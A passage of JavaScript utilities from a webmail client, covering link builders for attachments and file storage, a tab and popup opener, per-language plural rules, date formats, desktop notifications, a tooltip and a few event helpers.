   * Gets link for view by hash in iframe.
   *
   * @param {number} iAccountId
   * @param {string} sHash
   * @param {boolean=} bIsExt = false
   * @param {string=} sTenatHash = ''
   *
   * @return {string}
   */
  Utils.getIframeLinkByHash = function (iAccountId, sHash, bIsExt, sTenatHash)
  {
  	bIsExt = Utils.isUnd(bIsExt) ? false : !!bIsExt;
  	sTenatHash = Utils.isUnd(sTenatHash) ? '' : sTenatHash;
  
  	return '?/Raw/Iframe/' + iAccountId + '/' + sHash + '/' + (bIsExt ? '1' : '0') + ('' === sTenatHash ? '' : '/' + sTenatHash);
  };
  
  /**
   * Gets link for view by hash in iframe.
   *
   * @param {number} iAccountId
   * @param {string} sUrl
   *
   * @return {string}
   */
  Utils.getIframeWrappwer = function (iAccountId, sUrl)
  {
  	return '?/Raw/Iframe/' + iAccountId + '/' + window.encodeURIComponent(sUrl) + '/';
  };
  
  /**
   * Gets link for thumbnail by hash.
   *
   * @param {number} iAccountId
   * @param {string} sHash
   * @param {boolean=} bIsExt = false
   * @param {string=} sTenatHash = ''
   *
   * @return {string}
   */
  Utils.getViewThumbnailLinkByHash = function (iAccountId, sHash, bIsExt, sTenatHash)
  {
  	bIsExt = Utils.isUnd(bIsExt) ? false : !!bIsExt;
  	sTenatHash = Utils.isUnd(sTenatHash) ? '' : sTenatHash;
  	
  	return '?/Raw/Thumbnail/' + iAccountId + '/' + sHash + '/' + (bIsExt ? '1' : '0') + ('' === sTenatHash ? '' : '/' + sTenatHash);
  };
  
  /**
   * Gets link for download by hash.
   *
   * @param {number} iAccountId
   * @param {string} sHash
   * @param {string=} sPublicHash
   * 
   * @return {string}
   */
  Utils.getFilestorageDownloadLinkByHash = function (iAccountId, sHash, sPublicHash)
  {
  	var sUrl = '?/Raw/FilesDownload/' + iAccountId + '/' + sHash;
  	if (!Utils.isUnd(sPublicHash))
  	{
  		sUrl = sUrl + '/0/' + sPublicHash;
  	}
  	return sUrl;
  };
  
  /**
   * Gets link for download by hash.
   *
   * @param {number} iAccountId
   * @param {string} sHash
   * @param {string=} sPublicHash
   * 
   * @return {string}
   */
  Utils.getFilestorageViewLinkByHash = function (iAccountId, sHash, sPublicHash)
  {
  	var sUrl = '?/Raw/FilesView/' + iAccountId + '/' + sHash;
  	if (!Utils.isUnd(sPublicHash))
  	{
  		sUrl = sUrl + '/0/' + sPublicHash;
  	}
  	return sUrl;
  };
  
  /**
   * Gets link for thumbnail by hash.
   *
   * @param {number} iAccountId
   * @param {string} sHash
   * @param {string} sPublicHash
   *
   * @return {string}
   */
  Utils.getFilestorageViewThumbnailLinkByHash = function (iAccountId, sHash, sPublicHash)
  {
  	var sUrl = '?/Raw/FilesThumbnail/' + iAccountId + '/' + sHash;
  	if (!Utils.isUnd(sPublicHash))
  	{
  		sUrl = sUrl + '/0/' + sPublicHash;
  	}
  	return sUrl;
  };
  
  /**
   * Gets link for public by hash.
   *
   * @param {string} sHash
   * 
   * @return {string}
   */
  Utils.getFilestoragePublicViewLinkByHash = function (sHash)
  {
  	return '?/Window/Files/0/' + sHash;
  };
  
  /**
   * Gets link for public by hash.
   *
   * @param {string} sHash
   * 
   * @return {string}
   */
  Utils.getFilestoragePublicDownloadLinkByHash = function (sHash)
  {
  	return '?/Raw/FilesPub/0/' + sHash;
  };
  
  /**
   * @param {number} iMonth
   * @param {number} iYear
   * 
   * @return {number}
   */
  Utils.daysInMonth = function (iMonth, iYear)
  {
  	if (0 < iMonth && 13 > iMonth && 0 < iYear)
  	{
  		return new Date(iYear, iMonth, 0).getDate();
  	}
  
  	return 31;
  };
  
  Utils.WindowOpener = {
  
  	_iDefaultRatio: 0.8,
  	_aOpenedWins: [],
  	
  	/**
  	 * @param {{folder:Function, uid:Function}} oMessage
  	 * @param {boolean=} bDrafts
  	 */
  	openMessage: function (oMessage, bDrafts)
  	{
  		if (oMessage)
  		{
  			var
  				sFolder = oMessage.folder(),
  				sUid = oMessage.uid(),
  				sHash = ''
  			;
  			
  			if (bDrafts)
  			{
  				sHash = App.Routing.buildHashFromArray([Enums.Screens.SingleCompose, 'drafts', sFolder, sUid]);
  			}
  			else
  			{
  				sHash = App.Routing.buildHashFromArray([Enums.Screens.SingleMessageView, sFolder, 'msg' + sUid]);
  			}
  
  			this.openTab(sHash);
  		}
  	},
  
  	/**
  	 * @param {string} sUrl
  	 * @param {string=} sWinName
  	 * 
  	 * @return Object
  	 */
  	openTab: function (sUrl, sWinName)
  	{
  		$.cookie('aft-cache-ctrl', '1');
  		var oWin = null;
  
  		oWin = window.open(sUrl, '_blank');
  		
  		if (oWin)
  		{
  			oWin.focus();
  			oWin.name = sWinName ? sWinName : (AppData.Accounts ? AppData.Accounts.currentId() : 0);
  			this._aOpenedWins.push(oWin);
  		}
  		
  		return oWin;
  	},
  	
  	/**
  	 * @param {string} sUrl
  	 * @param {string} sPopupName
  	 * @param {boolean=} bMenubar = false
  	 * 
  	 * @return Object
  	 */
  	open: function (sUrl, sPopupName, bMenubar)
  	{
  		var
  			sMenubar = (bMenubar) ? ',menubar=yes' : ',menubar=no',
  			sParams = 'location=no,toolbar=no,status=no,scrollbars=yes,resizable=yes' + sMenubar,
  			oWin = null
  		;
  
  		sPopupName = sPopupName.replace(/\W/g, ''); // forbidden characters in the name of the window for ie
  		sParams += this._getSizeParameters();
  
  		oWin = window.open(sUrl, sPopupName, sParams);
  		oWin.focus();
  		oWin.name = AppData.Accounts ? AppData.Accounts.currentId() : 0; //no Accounts in client helpdesk
  
  		this._aOpenedWins.push(oWin);
  		
  		return oWin;
  	},
  	
  	/**
  	 * @returns {Array}
  	 */
  	getOpenedDraftUids: function ()
  	{
  		this._aOpenedWins = _.filter(this._aOpenedWins, function (oWin) {
  			return !oWin.closed;
  		});
  		
  		var aDraftUids = _.map(this._aOpenedWins, function (oWin) {
  			return (oWin.App && (window.location.origin === oWin.location.origin)) ? oWin.App.MailCache.editedDraftUid() : '';
  		});
  		
  		if (App.Screens.hasOpenedMinimizedPopups())
  		{
  			aDraftUids.push(App.MailCache.editedDraftUid());
  		}
  		
  		return _.uniq(_.compact(aDraftUids));
  	},
  	
  	/**
  	 * @param {string} aUids
  	 */
  	closeComposesWithDraftUids: function (aUids)
  	{
  		_.each(this._aOpenedWins, function (oWin) {
  			if (oWin.App && -1 !== Utils.inArray(oWin.App.MailCache.editedDraftUid(), aUids))
  			{
  				oWin.close();
  			}
  		});
  		
  		if (-1 !== Utils.inArray(App.MailCache.editedDraftUid(), aUids))
  		{
  			App.Api.closeComposePopup();
  		}
  	},
  
  	closeAll: function ()
  	{
  		var
  			iLen = this._aOpenedWins.length,
  			iIndex = 0,
  			oWin = null
  		;
  
  		for (; iIndex < iLen; iIndex++)
  		{
  			oWin = this._aOpenedWins[iIndex];
  			if (!oWin.closed)
  			{
  				oWin.close();
  			}
  		}
  
  		this._aOpenedWins = [];
  	},
  
  	/**
  	 * @return string
  	 */
  	_getSizeParameters: function ()
  	{
  		var
  			iScreenWidth = window.screen.width,
  			iWidth = Math.ceil(iScreenWidth * this._iDefaultRatio),
  			iLeft = Math.ceil((iScreenWidth - iWidth) / 2),
  
  			iScreenHeight = window.screen.height,
  			iHeight = Math.ceil(iScreenHeight * this._iDefaultRatio),
  			iTop = Math.ceil((iScreenHeight - iHeight) / 2)
  		;
  
  		return ',width=' + iWidth + ',height=' + iHeight + ',top=' + iTop + ',left=' + iLeft;
  	}
  };
  
  /**
   * @param {?} oObject
   * @param {string} sDelegateName
   * @param {Array=} aParameters
   */
  Utils.delegateRun = function (oObject, sDelegateName, aParameters)
  {
  	if (oObject && oObject[sDelegateName])
  	{
  		oObject[sDelegateName].apply(oObject, _.isArray(aParameters) ? aParameters : []);
  	}
  };
  
  /**
   * @param {string} input
   * @param {number} multiplier
   * @return {string}
   */
  Utils.strRepeat = function (input, multiplier)
  {
  	return (new Array(multiplier + 1)).join(input);
  };
  
  
  Utils.deferredUpdate = function (element, state, duration, callback) {
  	
  	if (!element.__interval && !!state)
  	{
  		element.__state = true;
  		callback(element, true);
  
  		element.__interval = window.setInterval(function () {
  			if (!element.__state)
  			{
  				callback(element, false);
  				window.clearInterval(element.__interval);
  				element.__interval = null;
  			}
  		}, duration);
  	}
  	else if (!state)
  	{
  		element.__state = false;
  	}
  };
  
  Utils.draggableMessages = function ()
  {
  	return $('<div class="draggable draggableMessages"><div class="content"><span class="count-text"></span></div></div>').appendTo('#pSevenHidden');
  };
  
  Utils.draggableContacts = function ()
  {
  	return $('<div class="draggable draggableContacts"><div class="content"><span class="count-text"></span></div></div>').appendTo('#pSevenHidden');
  };
  
  Utils.removeActiveFocus = function ()
  {
  	if (document && document.activeElement && document.activeElement.blur)
  	{
  		var oA = $(document.activeElement);
  		if (oA.is('input') || oA.is('textarea'))
  		{
  			document.activeElement.blur();
  		}
  	}
  };
  
  Utils.uiDropHelperAnim = function (oEvent, oUi)
  {
  	var
  		iLeft = 0,
  		iTop = 0,
  		iNewLeft = 0,
  		iNewTop = 0,
  		iWidth = 0,
  		iHeight = 0,
  		helper = oUi.helper.clone().appendTo('#pSevenHidden'),
  		target = $(oEvent.target).find('.animGoal'),
  		position = null
  	;
  
  	target = target[0] ? $(target[0]) : $(oEvent.target);
  	position = target && target[0] ? target.offset() : null;
  
  	if (position)
  	{
  		iLeft = window.Math.round(position.left);
  		iTop = window.Math.round(position.top);
  
  		iWidth = target.width();
  		iHeight = target.height();
  
  		iNewLeft = iLeft;
  		if (0 < iWidth)
  		{
  			iNewLeft += window.Math.round(iWidth / 2);
  		}
  
  		iNewTop = iTop;
  		if (0 < iHeight)
  		{
  			iNewTop += window.Math.round(iHeight / 2);
  		}
  
  		helper.animate({
  			'left': iNewLeft + 'px',
  			'top': iNewTop + 'px',
  			'font-size': '0px',
  			'opacity': 0
  		}, 800, 'easeOutQuint', function() {
  			$(this).remove();
  		});
  	}
  };
  
  Utils.isTextFieldFocused = function ()
  {
  	var
  		mTag = document && document.activeElement ? document.activeElement : null,
  		mTagName = mTag ? mTag.tagName : null,
  		mTagType = mTag && mTag.type ? mTag.type.toLowerCase() : null,
  		mContentEditable = mTag ? mTag.contentEditable : null
  	;
  	
  	return ('INPUT' === mTagName && (mTagType === 'text' || mTagType === 'password' || mTagType === 'email')) ||
  		'TEXTAREA' === mTagName || 'IFRAME' === mTagName || mContentEditable === 'true';
  };
  
  Utils.removeSelection = function ()
  {
  	if (window.getSelection)
  	{
  		window.getSelection().removeAllRanges();
  	}
  	else if (document.selection)
  	{
  		document.selection.empty();
  	}
  };
  
  Utils.getMonthNamesArray = function ()
  {
  	var
  		aMonthes = Utils.i18n('DATETIME/MONTH_NAMES').split(' '),
  		iLen = 12,
  		iIndex = aMonthes.length
  	;
  	
  	for (; iIndex < iLen; iIndex++)
  	{
  		aMonthes[iIndex] = '';
  	}
  	
  	return aMonthes;
  };
  
  /**
   * http://docs.translatehouse.org/projects/localization-guide/en/latest/l10n/pluralforms.html?id=l10n/pluralforms
   * 
   * @param {string} sLang
   * @param {number} iNumber
   * 
   * @return {number}
   */
  Utils.getPlural = function (sLang, iNumber)
  {
  	var iResult = 0;
  	iNumber = Utils.pInt(iNumber);
  
  	switch (sLang)
  	{
  		case 'Arabic':
  			iResult = (iNumber === 0 ? 0 : iNumber === 1 ? 1 : iNumber === 2 ? 2 : iNumber % 100 >= 3 && iNumber % 100 <= 10 ? 3 : iNumber % 100 >= 11 ? 4 : 5);
  			break;
  		case 'Bulgarian':
  			iResult = (iNumber === 1 ? 0 : 1);
  			break;
  		case 'Chinese-Simplified':
  			iResult = 0;
  			break;
  		case 'Chinese-Traditional':
  			iResult = (iNumber === 1 ? 0 : 1);
  			break;
  		case 'Czech':
  			iResult = (iNumber === 1) ? 0 : (iNumber >= 2 && iNumber <= 4) ? 1 : 2;
  			break;
  		case 'Danish':
  			iResult = (iNumber === 1 ? 0 : 1);
  			break;
  		case 'Dutch':
  			iResult = (iNumber === 1 ? 0 : 1);
  			break;
  		case 'English':
  			iResult = (iNumber === 1 ? 0 : 1);
  			break;
  		case 'Estonian':
  			iResult = (iNumber === 1 ? 0 : 1);
  			break;
  		case 'Finnish':
  			iResult = (iNumber === 1 ? 0 : 1);
  			break;
  		case 'French':
  			iResult = (iNumber === 1 ? 0 : 1);
  			break;
  		case 'German':
  			iResult = (iNumber === 1 ? 0 : 1);
  			break;
  		case 'Greek':
  			iResult = (iNumber === 1 ? 0 : 1);
  			break;
  		case 'Hebrew':
  			iResult = (iNumber === 1 ? 0 : 1);
  			break;
  		case 'Hungarian':
  			iResult = (iNumber === 1 ? 0 : 1);
  			break;
  		case 'Italian':
  			iResult = (iNumber === 1 ? 0 : 1);
  			break;
  		case 'Japanese':
  			iResult = 0;
  			break;
  		case 'Korean':
  			iResult = 0;
  			break;
  		case 'Latvian':
  			iResult = (iNumber % 10 === 1 && iNumber % 100 !== 11 ? 0 : iNumber !== 0 ? 1 : 2);
  			break;
  		case 'Lithuanian':
  			iResult = (iNumber % 10 === 1 && iNumber % 100 !== 11 ? 0 : iNumber % 10 >= 2 && (iNumber % 100 < 10 || iNumber % 100 >= 20) ? 1 : 2);
  			break;
  		case 'Norwegian':
  			iResult = (iNumber === 1 ? 0 : 1);
  			break;
  		case 'Persian':
  			iResult = 0;
  			break;
  		case 'Polish':
  			iResult = (iNumber === 1 ? 0 : iNumber % 10 >= 2 && iNumber % 10 <= 4 && (iNumber % 100 < 10 || iNumber % 100 >= 20) ? 1 : 2);
  			break;
  		case 'Portuguese-Portuguese':
  			iResult = (iNumber === 1 ? 0 : 1);
  			break;
  		case 'Portuguese-Brazil':
  			iResult = (iNumber === 1 ? 0 : 1);
  			break;
  		case 'Romanian':
  			iResult = (iNumber === 1 ? 0 : (iNumber === 0 || (iNumber % 100 > 0 && iNumber % 100 < 20)) ? 1 : 2);
  			break;
  		case 'Russian':
  			iResult = (iNumber % 10 === 1 && iNumber % 100 !== 11 ? 0 : iNumber % 10 >= 2 && iNumber % 10 <= 4 && (iNumber % 100 < 10 || iNumber % 100 >= 20) ? 1 : 2);
  			break;
  		case 'Slovenian':
  			iResult = ((iNumber % 10 === 1 && iNumber % 100 !== 11) ? 0 : ((iNumber % 10 === 2 && iNumber % 100 !== 12) ? 1 : 2));
  			break;
  		case 'Serbian':
  			iResult = (iNumber % 10 === 1 && iNumber % 100 !== 11 ? 0 : iNumber % 10 >= 2 && iNumber % 10 <= 4 && (iNumber % 100 < 10 || iNumber % 100 >= 20) ? 1 : 2);
  			break;
  		case 'Spanish':
  			iResult = (iNumber === 1 ? 0 : 1);
  			break;
  		case 'Swedish':
  			iResult = (iNumber === 1 ? 0 : 1);
  			break;
  		case 'Thai':
  			iResult = 0;
  			break;
  		case 'Turkish':
  			iResult = (iNumber === 1 ? 0 : 1);
  			break;
  		case 'Ukrainian':
  			iResult = (iNumber % 10 === 1 && iNumber % 100 !== 11 ? 0 : iNumber % 10 >= 2 && iNumber % 10 <= 4 && (iNumber % 100 < 10 || iNumber % 100 >= 20) ? 1 : 2);
  			break;
  		case 'Vietnamese':
  			iResult = 0;
  			break;
  		default:
  			iResult = 0;
  			break;
  	}
  
  	return iResult;
  };
  
  /**
   * @param {string} sFile
   * 
   * @return {string}
   */
  Utils.getFileExtension = function (sFile)
  {
  	var 
  		sResult = '',
  		iIndex = sFile.lastIndexOf('.')
  	;
  	
  	if (iIndex > -1)
  	{
  		sResult = sFile.substr(iIndex + 1);
  	}
  
  	return sResult;
  };
  
  /**
   * @param {string} sFile
   * 
   * @return {string}
   */
  Utils.getFileNameWithoutExtension = function (sFile)
  {
  	var 
  		sResult = sFile,
  		iIndex = sFile.lastIndexOf('.')
  	;
  	if (iIndex > -1)
  	{
  		sResult = sFile.substr(0, iIndex);	
  	}
  	return sResult;
  };
  
  /**
   * @param {Object} oElement
   * @param {Object} oItem
   */
  Utils.defaultOptionsAfterRender = function (oElement, oItem)
  {
  	if (oItem)
  	{
  		if (!Utils.isUnd(oItem.disable))
  		{
  			ko.applyBindingsToNode(oElement, {
  				'disable': oItem.disable
  			}, oItem);
  		}
  	}
  };
  
  /**
   * @param {string} sDateFormat
   * 
   * @return string
   */
  Utils.getDateFormatForMoment = function (sDateFormat)
  {
  	var sMomentDateFormat = 'MM/DD/YYYY';
  	
  	switch (sDateFormat)
  	{
  		case 'MM/DD/YYYY':
  			sMomentDateFormat = 'MM/DD/YYYY';
  			break;
  		case 'DD/MM/YYYY':
  			sMomentDateFormat = 'DD/MM/YYYY';
  			break;
  		case 'DD Month YYYY':
  			sMomentDateFormat = 'DD MMMM YYYY';
  			break;
  	}
  	
  	return sMomentDateFormat;
  };
  
  /**
   * @param {string} sDateFormat
   * 
   * @return string
   */
  Utils.getDateFormatForDatePicker = function (sDateFormat)
  {
  	var sDatePickerDateFormat = 'mm/dd/yy';
  	
  	switch (sDateFormat)
  	{
  		case 'MM/DD/YYYY':
  			sDatePickerDateFormat = 'mm/dd/yy';
  			break;
  		case 'DD/MM/YYYY':
  			sDatePickerDateFormat = 'dd/mm/yy';
  			break;
  		case 'DD Month YYYY':
  			sDatePickerDateFormat = 'dd MM yy';
  			break;
  	}
  	
  	return sDatePickerDateFormat;
  };
  
  /**
   * @return Array
   */
  Utils.getDateFormatsForSelector = function ()
  {
  	return _.map(AppData.App.DateFormats, function (sDateFormat) {
  		switch (sDateFormat)
  		{
  			case 'MM/DD/YYYY':
  				return {name: Utils.i18n('DATETIME/DATEFORMAT_MMDDYYYY'), value: sDateFormat};
  			case 'DD/MM/YYYY':
  				return {name: Utils.i18n('DATETIME/DATEFORMAT_DDMMYYYY'), value: sDateFormat};
  			case 'DD Month YYYY':
  				return {name: Utils.i18n('DATETIME/DATEFORMAT_DDMONTHYYYY'), value: sDateFormat};
  			default:
  				return {name: sDateFormat, value: sDateFormat};
  		}
  	});
  };
  
  /**
   * @param {string} sSubject
   * 
   * @return {string}
   */
  Utils.getTitleForEvent = function (sSubject)
  {
  	var
  		sTitle = sSubject ? Utils.trim(sSubject.replace(/[\n\r]/, ' ')) : '',
  		iFirstSpacePos = sTitle.indexOf(' ', 180)
  	;
  
  	if (iFirstSpacePos >= 0)
  	{
  		sTitle = sTitle.substring(0, iFirstSpacePos) + '...';
  	}
  	
  	if (sTitle.length > 200)
  	{
  		sTitle = sTitle.substring(0, 200) + '...';
  	}
  	
  	return sTitle;
  };
  
  Utils.desktopNotify = (function ()
  {
  	var aNotifications = [];
  
  	return function (oData)
  	{
  		if (oData && AppData.User.DesktopNotifications && window.Notification && !App.focused())
  		{
  			switch (oData.action)
  			{
  				case 'show':
  					if (window.Notification.permission !== Enums.notificationPermission.Denied)
  					{
  						// oData - action, body, dir, lang, tag, icon, callback, timeout
  						var
  							oOptions = { //https://developer.mozilla.org/en-US/docs/Web/API/Notification
  								body: oData.body || '', //A string representing an extra content to display within the notification
  								dir: oData.dir || 'auto', //The direction of the notification; it can be auto, ltr, or rtl
  								lang: oData.lang || '', //Specify the lang used within the notification. This string must be a valid BCP 47 language tag
  								tag: oData.tag || Math.floor(Math.random() * (1000 - 100) + 100), //An ID for a given notification that allows to retrieve, replace or remove it if necessary
  								icon: oData.icon || false //The URL of an image to be used as an icon by the notification
  							},
  							oNotification,
  							fShowNotification = function()
  							{
  								oNotification = new window.Notification(oData.title, oOptions); //Firefox and Safari close the notifications automatically after a few moments, e.g. 4 seconds.
  								oNotification.onclick = function (oEv) //there are also onshow, onclose & onerror events
  								{
  									if(oData.callback)
  									{
  										oData.callback();
  									}
  									oNotification.close();
  								};
  
  								if (oData.timeout)
  								{
  									setTimeout(function() { oNotification.close(); }, oData.timeout);
  								}
  								aNotifications.push(oNotification);
  							}
  						;
  						
  						if (window.Notification.permission === Enums.notificationPermission.Granted)
  						{
  							fShowNotification();
  						}
  						else if (window.Notification.permission === Enums.notificationPermission.Default)
  						{
  							window.Notification.requestPermission(function (sPermission) {
  								if(sPermission === Enums.notificationPermission.Granted)
  								{
  									fShowNotification();
  								}
  							});
  						}
  					}
  					break;
  				case 'hide':
  					_.each(aNotifications, function (oNotifi, ikey) {
  						if (oData.tag === oNotifi.tag) {
  							oNotifi.close();
  							aNotifications.splice(ikey, 1);
  						}
  					});
  					break;
  				case 'hideAll':
  					_.each(aNotifications,function (oNotifi) {
  						oNotifi.close();
  					});
  					aNotifications.length = 0;
  					break;
  			}
  		}
  	};
  }());
  
  /**
   * @return {boolean}
   */
  Utils.isRTL = function ()
  {
  	return $html.hasClass('rtl');
  };
  
  /**
   * @param {string} sName
   * @return {boolean}
   */
  Utils.validateFileOrFolderName = function (sName)
  {
  	sName = Utils.trim(sName);
  	return '' !== sName && !/["\/\\*?<>|:]/.test(sName);
  };
  
  /**
   * @param {string} sColor
   * @param {number} iPercent
   * 
   * @return {string}
   */
  Utils.shadeColor = function (sColor, iPercent) 
  {
  	var
  		usePound = false,
  		num = 0,
  		r = 0,
  		b = 0,
  		g = 0
  	;
  	
  	if (sColor[0] === "#") 
  	{
  		sColor = sColor.slice(1);
  		usePound = true;
  	}
  	num = window.parseInt(sColor, 16);
  	r = (num >> 16) + iPercent;
  	if (r > 255) 
  	{
  		r = 255;
  	} 
  	else if (r < 0) 
  	{
  		r = 0;
  	}
  	b = ((num >> 8) & 0x00FF) + iPercent;
  	if (b > 255) 
  	{
  		b = 255;
  	} 
  	else if (b < 0) 
  	{
  		b = 0;
  	}
  	g = (num & 0x0000FF) + iPercent;
  	if (g > 255) 
  	{
  		g = 255;
  	} 
  	else if (g < 0) 
  	{
  		g = 0;
  	}
  	return (usePound ? "#" : "") + (g | (b << 8) | (r << 16)).toString(16);
  };
  
  /**
   * @param {Object} ChildClass
   * @param {Object} ParentClass
   */
  Utils.extend = function (ChildClass, ParentClass)
  {
  	/**
  	 * @constructor
  	 */
  	var TmpClass = function(){};
  	TmpClass.prototype = ParentClass.prototype;
  	ChildClass.prototype = new TmpClass();
  	ChildClass.prototype.constructor = ChildClass;
  };
  
  Utils.thumbQueue = (function () {
  
  	var
  		oImages = {},
  		oImagesIncrements = {},
  		iNumberOfImages = 2
  	;
  
  	return function (sSessionUid, sImageSrc, fImageSrcObserver)
  	{
  		if(sImageSrc && fImageSrcObserver)
  		{
  			if(!(sSessionUid in oImagesIncrements) || oImagesIncrements[sSessionUid] > 0) //load first images
  			{
  				if(!(sSessionUid in oImagesIncrements)) //on first image
  				{
  					oImagesIncrements[sSessionUid] = iNumberOfImages;
  					oImages[sSessionUid] = [];
  				}
  				oImagesIncrements[sSessionUid]--;
  
  				fImageSrcObserver(sImageSrc); //load image
  			}
  			else //create queue
  			{
  				oImages[sSessionUid].push({
  					imageSrc: sImageSrc,
  					imageSrcObserver: fImageSrcObserver,
  					messageUid: sSessionUid
  				});
  			}
  		}
  		else //load images from queue (fires load event)
  		{
  			if(oImages[sSessionUid] && oImages[sSessionUid].length)
  			{
  				oImages[sSessionUid][0].imageSrcObserver(oImages[sSessionUid][0].imageSrc);
  				oImages[sSessionUid].shift();
  			}
  		}
  	};
  }());
  
  Utils.checkConnection = (function () {
  
  	var
  		iTimer = -1,
  		iLastWakeTime = new Date().getTime(),
  		iCurrentTime = 0,
  		bAwoke = false
  	;
  
  	setInterval(function() { //fix for sleep mode
  		iCurrentTime = new Date().getTime();
  		bAwoke = iCurrentTime > (iLastWakeTime + 5000 + 1000);
  		iLastWakeTime = iCurrentTime;
  		if (bAwoke)
  		{
  			App.Api.hideError(true);
  		}
  	}, 5000);
  
  	return function (sAction, sStatus)
  	{
  		clearTimeout(iTimer);
  		if (sStatus !== 'error')
  		{
  			App.InternetConnectionError = false;
  			App.Api.hideError(true);
  		}
  		else
  		{
  			if (sAction === 'SystemPing')
  			{
  				App.InternetConnectionError = true;
  				App.Api.showError(Utils.i18n('WARNING/NO_INTERNET_CONNECTION'), false, true, true);
  				iTimer = setTimeout(function () {
  					App.Ajax.send({'Action': 'SystemPing'});
  				}, 60000);
  			}
  			else
  			{
  				App.Ajax.send({'Action': 'SystemPing'});
  			}
  		}
  	};
  }());
  
  Utils.loadScript = function (sUrl, fCallback, aParams, sFuncName)
  {
  	var script = document.createElement('script');
  	if (!Utils.isUnd(sFuncName) && fCallback)
  	{
  		window[sFuncName] = fCallback;
  	}
  	if (Utils.isUnd(aParams))
  	{
  		aParams = {};
  	}
  	
  	_.each(aParams, function(value, key){ 
  		script.setAttribute(key, value);
  	});
  	
  	script.type = 'text/javascript';
  	script.src = sUrl;
  	document.body.appendChild(script);
  };
  
  Utils.registerMailto = function (bRegisterOnce)
  {
  	if (window.navigator && Utils.isFunc(window.navigator.registerProtocolHandler) && (!bRegisterOnce || App.Storage.getData('MailtoAsked') !== 1))
  	{
  		window.navigator.registerProtocolHandler(
  			'mailto',
  			Utils.Common.getAppPath() + '#' + Enums.Screens.Compose + '/to/%s',
  			AppData.App.SiteName !== '' ? AppData.App.SiteName : 'WebMail'
  		);
  
  		App.Storage.setData('MailtoAsked', 1);
  	}
  };
  
  Utils.CustomTooltip = {
  	_$Region: null,
  	_$ArrowTop: null,
  	_$Text: null,
  	_$ArrowBottom: null,
  	_iArrowBorderLeft: 0,
  	_iArrowMarginLeft: 0,
  	_iLeftShift: 0,
  	_bInitialized: false,
  	_bShown: false,
  	
  	iHideTimer: 0,
  	iTimer: 0,
  	
  	init: function ()
  	{
  		if (!this._bInitialized)
  		{
  			this._$Region = $('<span class="custom_tooltip"></span>').appendTo('body').hide();
  			this._$ArrowTop = $('<span class="custom_tooltip_arrow top"></span>').appendTo(this._$Region);
  			this._$Text = $('<span class="custom_tooltip_text"></span>').appendTo(this._$Region);
  			this._$ArrowBottom = $('<span class="custom_tooltip_arrow bottom"></span>').appendTo(this._$Region);
  			
  			this._iArrowMarginLeft = Utils.pInt(this._$ArrowTop.css('margin-left'));
  			this._iArrowBorderLeft = Utils.pInt(this._$ArrowTop.css('border-left-width'));
  			this._iLeftShift = Utils.pInt(this._$Region.css('margin-left')) + this._iArrowMarginLeft + this._iArrowBorderLeft;
  			
  			this._bInitialized = true;
  		}
  		
  		this._$ArrowTop.show();
  		this._$ArrowBottom.hide();
  		this._$ArrowTop.css({
  			'margin-left': this._iArrowMarginLeft + 'px'
  		});
  		this._$ArrowBottom.css({
  			'margin-left': this._iArrowMarginLeft + 'px'
  		});
  	},
  	
  	show: function (sText, $ItemToAlign)
  	{
  		this.init();
  		
  		var
  			oItemOffset = $ItemToAlign.offset(),
  			iItemWidth = $ItemToAlign.width(),
  			iItemHalfWidth = (iItemWidth < 70) ? iItemWidth/2 : iItemWidth/4,
  			iItemPaddingLeft = Utils.pInt($ItemToAlign.css('padding-left')),
  			jqBody = $('body')
  		;
  		
  		this._$Text.html(sText);
  		this._bShown = true;
  		this._$Region.stop().fadeIn(260, _.bind(function () {
  			if (!this._bShown)
  			{
  				this._$Region.hide();
  			}
  		}, this)).css({
  			'top': oItemOffset.top + $ItemToAlign.outerHeight() + 1,
  			'left': oItemOffset.left + iItemPaddingLeft + iItemHalfWidth - this._iLeftShift,
  			'right': 'auto'
  		});
  		
  		if (jqBody.outerHeight() < this._$Region.outerHeight() + this._$Region.offset().top)
  		{
  			this._$ArrowTop.hide();
  			this._$ArrowBottom.show();
  			this._$Region.css({
  				'top': oItemOffset.top - this._$Region.outerHeight()
  			});
  		}
  
  		setTimeout(function () {
  			if (jqBody.width() < (this._$Region.outerWidth(true) + this._$Region.offset().left))
  			{
  				this._$Region.css({
  					'left': 'auto',
  					'right': 0
  				});
  				this._$ArrowTop.css({
  					'margin-left': (iItemHalfWidth + oItemOffset.left - this._$Region.offset().left - this._iArrowBorderLeft) + 'px'
  				});
  				this._$ArrowBottom.css({
  					'margin-left': (iItemHalfWidth + oItemOffset.left - this._$Region.offset().left - this._iArrowBorderLeft + Utils.pInt(this._$Region.css('margin-right'))) + 'px'
  				});
  			}
  		}.bind(this), 1);
  	},
  	
  	hide: function ()
  	{
  		if (this._bInitialized)
  		{
  			this._bShown = false;
  			this._$Region.hide();
  		}
  	}
  };
  
  /**
   * @param {string} sHtml
   * @returns {Boolean}
   */
  Utils.htmlStartsWithBlockquote = function (sHtml)
  {
  	var
  		aParts = sHtml.split('<blockquote'),
  		sBegin = aParts.length > 0 ? aParts[0] : '',
  		sBeginWithoutTags = Utils.trim(sBegin.replace(/<[^>]*>/g, ''))
  	;
  	
  	return sBeginWithoutTags === '';
  };
  
  /**
   * @param {string} sText
   * @returns {string}
   */
  Utils.escapeQuotes  = function (sText)
  {
  	return sText.replace(/'/g, "\\\'").replace(/"/g, "\\\"");
  };
  
  /**
   * @returns {Boolean}
   */
  Utils.checkCookies = function ()
  {
  	$.cookie('checkCookie', '1', { path: '/' });
  	var bResult = $.cookie('checkCookie') === '1';
  	if (!bResult)
  	{
  		App.Screens.showError(Utils.i18n('WARNING/COOKIES_DISABLED'), false, true);
  	}
  
  	return bResult;
  };
  
  /**
   * @param {object} oEvent
   */
  Utils.calmEvent  = function (oEvent)
  {
  	if (oEvent)
  	{
  		if (oEvent.stop)
  		{
  			oEvent.stop();
  		}
  		if (oEvent.preventDefault)
  		{
  			oEvent.preventDefault();
  		}
  		if (oEvent.stopPropagation)
  		{
  			oEvent.stopPropagation();
  		}
  		if (oEvent.stopImmediatePropagation)
  		{
  			oEvent.stopImmediatePropagation();
  		}
  		oEvent.cancelBubble = true;
  		oEvent.returnValue = false;
  	}
  };
  /* 
   * Can be connected to external applications. Don't use App object here.
   */
  
  Utils.Common = {};
  
  /**
   * Obtains parameters from browser get-string.
   * **aGetParams** - static variable wich includes all get parameters.
   * 
   * @param {string} sParamName Name of parameter wich is obtained from get-string
   * 
   * @return {string|null}
   */
  Utils.Common.getRequestParam = function (sParamName)
  {
  	var
  		aParams = [],
  		aGetParams = [],
  		sResult = null
  	;
  	
